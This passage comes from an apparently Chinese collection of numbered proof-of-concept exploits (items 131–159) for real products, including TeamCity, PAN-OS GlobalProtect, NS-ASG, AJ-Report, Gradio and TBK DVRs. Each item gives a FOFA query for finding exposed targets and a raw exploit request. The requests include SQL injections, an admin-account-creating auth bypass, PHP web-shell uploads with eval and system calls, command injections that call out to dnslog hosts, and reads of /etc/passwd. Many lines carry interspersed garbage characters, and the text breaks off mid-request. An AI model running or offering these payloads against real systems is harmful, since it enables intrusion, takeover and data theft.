Host: 127.0.0.1
! D2 _% a1 B& e7 T- W# H' NAccept: application/json, text/javascript, */*; q=0.01
$ F- [7 d3 R  O8 p. D& i9 UX-Requested-With: XMLHttpRequest
) a6 T% @) d9 R, }- _$ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ e7 a0 F8 L; K" B7 MCookie: user_name=1; user_id=3
" g: d9 a" D1 |4 g* i: A9 f2 v3 @; qConnection: close
) F" b3 i3 s: b6 b$ ]. K
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
  f: K. \. ?" V6 N* _
<?php phpinfo();@eval($_POST['sec']);?>
& E. U  i& d* b# V# J/ {/ y/ r------WebKitFormBoundary3OCVBiwBVsNuB2kR--


& w1 \" k- ~" L: B131. Mini-Tmall <=20231017 SQL注入
" {4 ]4 _# y( U- EFOFA：icon_hash="-2087517259"
* n2 X8 J6 S) A8 p0 ~  Q后台地址：http://localhost:8080/tmall/admin
$ d( Z" k  `# rhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
8 G# S1 _* B) Z. T. J: Z2 J0 T( x
6 {0 ]8 ^3 {9 E- t132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
7 x1 {) ^+ ?0 _$ `6 F! YHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
5 a3 T$ K. o6 K& c0 Y4 |Accept-Encoding: gzip, deflate

! p; o: C9 h4 y0 ^$ ^2 K$ T# ]{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
7 B" X& b( w7 q5 o+ k/res/../admin/diagnostic.jsp
; H+ \1 Q" {- I. Z' N) N/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

: b3 H2 m$ p4 f! b, h* y% E  ?
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
9 ]2 \0 n7 W" U' oFOFA：body="/public/qbsp.php"
5 V1 Y- ?% x# f$ X+ j3 YPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
! a2 y5 Y6 f2 sHost: your-ip
& K7 I4 P* q$ D' eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

8 [$ ]) N: @0 V( {------WebKitFormBoundaryFQqYtrIWb8iBxUCx
9 U$ z. S( g: j2 i6 z4 B1 DContent-Disposition: form-data; name="file"; filename="rce.php"
7 W( i0 \. {3 r" A& W7 n" YContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
& c% Z) @4 A3 _+ w------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
3 j3 m5 q) f% B- ]3 a1 |/ TNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
# w4 [% ]7 s: J" o1 MPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
4 J/ }: l$ |0 q* H' @& N8 zCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
+ ~5 W! O3 ]7 ]# ^- k/ T* aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
- R) E1 F8 m- Q4 o& B) _0 z* F6 LAccept: */*
9 |$ V, H( T/ }+ U8 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
. P2 }  R. c8 USec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
# r1 g; i5 ]8 U' {1 R/ N9 f- ZContent-Type: application/x-www-form-urlencoded
6 J: S  f- i' ?7 j. ZContent-Length: 263

. G% ]. q1 O* a6 x# @jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

: P  d: b1 J; p1 C
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
. ^9 u/ @; ^$ ]  Y& C# a( GNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
2 H/ n7 E: v) `2 `GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


* x0 [$ }# a$ ]8 A9 T+ I* A- i) o136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
5 i  B3 R3 l* R* M# T3 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( {( r9 x& p' j7 P6 jConnection: close
Accept: */*
; f' `) v; S% B  j$ ~1 PAccept-Language: en
Accept-Encoding: gzip
& H3 A4 @  R3 Z, Z5 @2 ?

8 A7 z( ]2 _" e+ l6 ?9 ]3 U% O137. 福建科立迅通信指挥调度平台down_file.php sql注入
9 b! s, v& q+ a9 N, n7 }, zCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
0 Q" n, u: W: o$ g! r- S* pHost: x.x.x.x
. F1 ?- C+ c. n9 y6 r) n' Y9 A& k2 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% F; r; G0 w# I4 S- O6 {0 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ y* C! N0 G1 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
8 A) C" ^! k0 ?* K: q# }1 T! V2 `$ q7 QConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

$ a6 O. m3 W# m0 L6 G7 \
) v0 r- Y+ f7 J  H- h+ U138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
! @4 n  h& W# y" v! P* E  K( |1 vCVE-2024-2621
# L9 d- ^, C/ s: S- }0 ~* tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
8 {; Q- a, H9 R3 I$ l% kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# K0 m; r: f9 h, y7 C* U$ O& bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ O" _* D) \3 OAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
1 [' t5 V! _$ P& ^7 x
: l) \' Y, n( u$ T
) u5 p1 {6 u* i7 S/ |8 u2 F% W139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
* G8 a2 C9 W* cFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
; b8 J( z$ H/ XHost: x.x.x.x
8 o# M  {' ?8 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
4 b2 ?+ i4 j9 yUpgrade-Insecure-Requests: 1
; ]% u4 e/ K5 c2 I$ Q8 {

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
1 H6 f6 G" Y3 o/ M% D1 y0 I; [( YCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# O3 ?/ C/ G7 F9 z+ _" xConnection: close
4 A% q+ H; S& f9 U) `, WCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
4 E+ i; G& Q! f' m; d
4 K/ T1 y6 g4 G. a
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- f/ x3 h. z- K5 n1 cFOFA：body="指挥调度管理平台"
4 M4 c( x* T0 S; C1 W: vPOST /app/ext/ajax_users.php HTTP/1.1
! }3 o; o" B: J* T# h. ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
" P' ?; V+ j' `) _( O! w1 O: w% DContent-Type: application/x-www-form-urlencoded

3 y" [; s; M8 @0 \$ ?2 I
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
, r; _% {, k/ j  @# s8 S( Q- h143. Netis WF2780 v2.1.40144 远程命令执行
8 T  a3 o7 z7 m/ n( j0 Q4 ^CVE-2024-25850
& F+ E9 a5 g. s: c9 k" v  KFOFA：title='AP setup' && header='netis'
) P5 S5 u! z$ [" o& `, m* \% c1 Z# |PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
) l' X* K- w6 T* \FOFA：app="D_Link-DNS-ShareCenter"
2 ^' x/ I+ V: @system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
# g8 @! h+ e3 n5 c, l- j# _( S( yHost: x.x.x.x
  m/ d1 Y+ c+ Q: QUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
7 r+ ?- M$ n  W$ Q7 d8 Y  c* uAccept: */*
Accept-Language: en
% b4 r6 z5 G5 K* bAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
, v8 [2 i; A* v6 ^1 |* v' o! a/ yFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
4 k. C$ w4 E* H4 oHost: 192.168.30.112:1005
/ r7 _1 B% B" V7 T$ Q- L0 T9 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
1 Y- _. Q3 L8 N! U+ ]* p+ H

8 H' P' t/ q8 T- X0 a146. MajorDoMo thumb.php 未授权远程代码执行
! S& \6 w! d4 p, O# m, j: nCNVD-2024-02175
% i( v0 w$ [  K% H5 a. `4 ?$ T. ?FOFA：app="MajordomoSL"
# h7 |7 J! b+ F/ M, Q8 fGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
4 d$ d8 m8 ~2 k- R. Q2 C  F  k$ THost: x.x.x.x
/ H. l, V. N# }0 ]1 \5 Z; H& O5 y/ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
& e5 V% i4 U' a( e% JAccept-Encoding: gzip, deflate
) j( r$ q' Y2 A# |Connection: close
  u6 N; {4 j6 J9 r

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ w7 k) R, I0 C) JCVE-2024-32399
3 h6 ]6 M1 ~' eFOFA：body="RaidenMAILD"
8 u4 W3 ^. n( h- n' r3 AGET /webeditor/../../../windows/win.ini HTTP/1.1
' W( u6 Y. j" T! c3 E# ?Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
) r) E) |+ w; p& O2 ?- S6 w3 Z3 O2 ^

148. CrushFTP 认证绕过模板注入
: v  q& O1 F. V! ICVE-2024-4040
/ O# p1 i' F0 PFOFA：body="CrushFTP"
+ {  b- C6 o  IPAYLOAD
5 x4 \* y# ?! s6 k
149. AJ-Report开源数据大屏存在远程命令执行
) j  h! L( n' T6 IFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ g, {4 ^9 e  M2 q" J! K5 UHost: x.x.x.x
# x& r; Y7 i: x7 [7 _: lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. E7 A' [* F7 O+ ^6 `# B, O/ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; S' C5 x8 z6 _: q) m1 H; WAccept-Encoding: gzip, deflate, br
2 m; ^3 P: ~/ R; g* ?6 \1 IAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
1 M# ]) ^$ C; G2 J1 vConnection: close
, q5 h  f/ X5 x  h
7 _' S" ]6 x* g+ f8 ]{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
, a" d) U/ Z+ t/ p$ E" F
2 J& q5 [! o9 b. j5 F- a* B150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 v3 s' v+ D6 e" J) N) y2 s" bFOFA：title="AJ-Report"
( A: z$ G, ^) s6 PPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 G& Q/ j) n1 ?+ v+ ?  Q7 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( j  W" E# y  f& n# S' BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
# t: G+ I3 u2 Y1 k# Q& S* AContent-Type: application/json;charset=UTF-8
Connection: close
# W8 |3 V+ o- e" K. k( eContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

) Y5 h: B% e; V) g& G  o! p# T
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
; ?; J% L; o, }) Y9 KGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% I- @( ~$ a5 ~) fAccept-Encoding: gzip
! v7 L  K. N  n! |/ h
: o. x' Y5 g8 \8 Y& R- N
# k! K. d6 J! K1 ^152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
- C; L" W2 [" Q3 X  LLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
% Z! [! R, b- D7 t1 iJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
8 e! l+ M5 a- m* p" A4 r( iGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
) e0 s7 ~3 m# v9 p+ t5 \Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
5 g( D3 R. \/ R/ R0 o! CAccept-Encoding: gzip
8 N8 `. L; C) }8 F8 g! O! s

: ]  h/ B' d7 k. c; t3 o/ [+ d153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
/ y3 K& R/ G- ~3 ^$ V- e第一步，请求/config文件获取componets的id
9 a5 P$ e! j+ z+ `http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
0 J( m+ M# _7 a, A* D& x' bPOST /component_server HTTP/1.1
: b" h* u; Z3 i0 BHost: x.x.x.x
# ?6 R  {8 K  C, c+ eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
( g5 \6 e* l) F7 ]$ }Content-Length: 115
- R) P9 M) ]% n9 y2 w4 CContent-Type: application/json
Accept-Encoding: gzip
6 ?! y& V3 T# G
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
! M% _2 H- z$ Y  ]1 ghttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

. w# I$ ~7 C7 o% W1 B3 r9 A+ ~. E7 F
2 Z& i6 V$ M, F2 S3 |154. 天维尔消防救援作战调度平台 SQL注入
! g8 O2 j, X" K9 Z5 GCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
4 J- s$ E) I  s) gPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
5 S1 ?* b0 N/ ~5 Z; E9 I1 IContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
6 u3 ~' I9 ?. Q# }2 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Z, C7 E; L1 J% C% _Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
' ?. Q7 b" h9 k0 _: rAccept-Encoding: gzip, deflate
$ D0 f; V7 p0 S- n' dAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 s+ l" @1 ]" Q" P0 lConnection: close
1 E0 l' ~/ ^  y6 R" F" a0 c, v
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

" j, M- A+ k( I, v
) o# F# g- f/ x4 z4 C  r& Q155. 六零导航页 file.php 任意文件上传
' s3 h; U* C" H" OCVE-2024-34982
5 \, P: U; E2 W3 z3 L% z0 RFOFA：title=="上网导航 - LyLme Spage"
/ S! a2 F, K5 Y1 I4 @  N& NPOST /include/file.php HTTP/1.1
% j" `6 E7 `. w3 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) v! y4 F: K& D+ K7 S# PConnection: close
8 {5 x: V0 c" i, n# Y( FContent-Length: 232
3 b3 y1 o7 q" q" O& IAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
8 B3 h% l$ \7 v% t( Q' t$ lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 K$ L* Q4 t* f9 |8 A7 zContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
+ j7 H  T% C% T. r: j5 a/ sX-Requested-With: XMLHttpRequest

# _4 r6 K/ J7 ^; m-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
$ b+ v6 I; f5 x3 P9 I5 I" Y+ e4 u: R  g3 E
<?php phpinfo();unlink(__FILE__);?>
/ B8 H) s) q0 y+ I4 ?: @/ v  ~  m-----------------------------qttl7vemrsold314zg0f--


( q# E, U$ U3 d9 k% D( s( R访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
" `' U2 N9 ^, L0 B; d
% z( E8 g5 v; a: o  q4 K1 q156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
! l! z* Y. ^9 ZFOFA："Location: /login.rsp"
7 W% n3 ]# J5 G' F4 ~·TBK DVR-4104
·TBK DVR-4216
- V0 |" W/ {1 zcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
6 w; {0 @3 C6 K0 ^
3 [: ~1 j( R& e) Y6 h
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
. o4 v* e, C# y0 p8 W; GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) F) V" E3 c4 T. k+ h3 ^( d( v. A: AConnection: close
Content-Length: 0
8 C( T9 o9 ], A2 y1 l. ~Cookie: uid=1
2 v7 O3 D2 L  k2 T7 gAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
# s5 d8 ~" Q+ h1 ~7 X/ nFOFA：body="/common/scripts/basic.js"
6 u+ R& }3 r( cPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
$ \" B3 R5 n8 _$ s: sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
5 h' J. x: L8 `; P9 m7 E! pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 n9 P/ [+ A; B' K: _3 ZCache-Control: max-age=0
, L) U' |/ S/ g+ M! a5 _4 E6 wConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
. h0 y. K, B* ~7 w+ K3 YUpgrade-Insecure-Requests: 1
/ d) v4 A  ]; c. P
. M9 `8 T/ k$ P) p1 T, V------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
; L; \2 y7 G& b2 z, K/ EContent-Type: application/octet-stream

6 i" y; e0 ?( `8 fnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
) J8 H. j, ]4 l% \1 {5 ^$ xContent-Disposition: form-data; name="key"
. L: {$ W0 E. _
$ n: G: R: ?( w+ snull
0 p: R( ^3 o( ?------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
. h# ~( c8 T5 l2 }+ p) a( L
null
------WebKitFormBoundary1imovELzPsfzp5dN
% A  A0 I& [6 P& B+ bContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
+ G4 w6 V0 N& R  wContent-Disposition: form-data; name="filetitile"
" G# s6 Y8 D! c6 ?4 B0 ~
null
/ j" P: s# c4 L" v# l; {( |------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
- |5 ~; D1 Y6 k9 m2 ?- c
+ ]8 e1 V& O2 ~5 ?, mnull
4 L5 v5 E* m, i9 [4 O------WebKitFormBoundary1imovELzPsfzp5dN--
: j$ K  s1 b. D! |5 x

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
7 n9 q$ Z" N0 z/ ~. C$ THost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
* f3 c1 S7 @  L, M8 q
: ?1 \. e5 {2 Z/ fobject=displayregion&contenthistid=x\'&previewid=1
: j4 r0 _+ o, N; b* J0 U% e

$ v5 t. q0 W+ G& f- M159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
0 y0 t: X4 P; ~1 m: VFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
8 C1 ^1 J0 A/ @' g1 O5 k, hPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
7 U  r! S0 d; n) R: nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
, [- |" k: r" @+ D- B1 s! F( _- GAccept-Encoding: gzip, deflate
" {7 c- F' Y$ d+ p% a$ c$ Z$ sConnection: close
Content-Type: text/xml; charset=utf-8
/ s8 P, c. f* g, s: k: c7 |. \Soapaction: "http://rainier/jobUpload"

3 S8 l, [; w: B' U- ?8 O( U9 k<?xml version="1.0" encoding="utf-8"?>
1 v# x8 a6 R8 Z+ |<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 b- K3 J( J( I) x<soap:Body>
<jobUpload xmlns="http://rainier">
5 h% k, J8 z# [1 X<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
